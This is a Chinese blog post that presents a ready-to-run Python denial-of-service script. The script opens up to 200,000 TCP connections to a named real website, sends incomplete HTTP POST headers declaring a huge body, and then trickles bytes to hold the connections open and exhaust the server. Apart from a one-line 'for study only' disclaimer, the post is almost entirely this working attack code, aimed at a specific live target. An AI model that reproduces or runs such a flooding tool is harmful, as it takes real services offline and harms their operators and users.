当前位置:   article > 正文

pythonDDOS攻击_pythonddos攻击代码

pythonddos攻击代码

 构建多个socket链接后,每个socket对这个网站无限的发送信息,以起到占用他们网站资源链接的效果。

环境:

python3.7


代码:

  1. import socket
  2. import time
  3. import threading
  4. MAX_CONN = 200000 # 最大连接数
  5. PORT = 80
  6. HOST = "mooc.jikestar.com" # 目标IP或域名.
  7. PAGE = "/#/classlist" # 目标页面
  8. buf = ("POST %s HTTP/1.1\r\n"
  9. "Host: %s\r\n"
  10. "Content-Length: 10000000\r\n" # 实体数据大小
  11. "Cookie: dklkt_dos_test\r\n"
  12. "\r\n" % (PAGE, HOST))
  13. socks = []
  14. def conn_thread():
  15. global socks
  16. for i in range(0, MAX_CONN): # MAX_CONN允许最大连接数
  17. # AF_INET 表示 IPv4 地址,创建 TCP套接字,必须使用 SOCK_STREAM 作为套接字类型
  18. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  19. try:
  20. s.connect((HOST, PORT))
  21. s.send(buf.encode())
  22. print("[+] 成功发送buf!,conn=%d\n" % i)
  23. socks.append(s)
  24. except Exception as ex:
  25. print("[-] 无法连接服务器或发送错误:%s" % ex)
  26. # 暂停1秒
  27. def send_thread():
  28. global socks
  29. while True:
  30. for s in socks:
  31. try:
  32. s.send("f".encode())
  33. except Exception as ex:
  34. print("[-] 发送异常:%s\n" % ex)
  35. socks.remove(s)
  36. s.close()
  37. time.sleep(1)
  38. # 建立多线程
  39. conn_th = threading.Thread(target=conn_thread, args=())
  40. send_th = threading.Thread(target=send_thread, args=())
  41. # 开启线程
  42. conn_th.start()
  43. send_th.start()
  44. conn_th2 = threading.Thread(target=conn_thread, args=())
  45. send_th2 = threading.Thread(target=send_thread, args=())
  46. conn_th2.start()

文章仅供学习,攻击他人服务器出现的一切后果请自行负责。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/码创造者/article/detail/829675
推荐阅读
相关标签
  

闽ICP备14008679号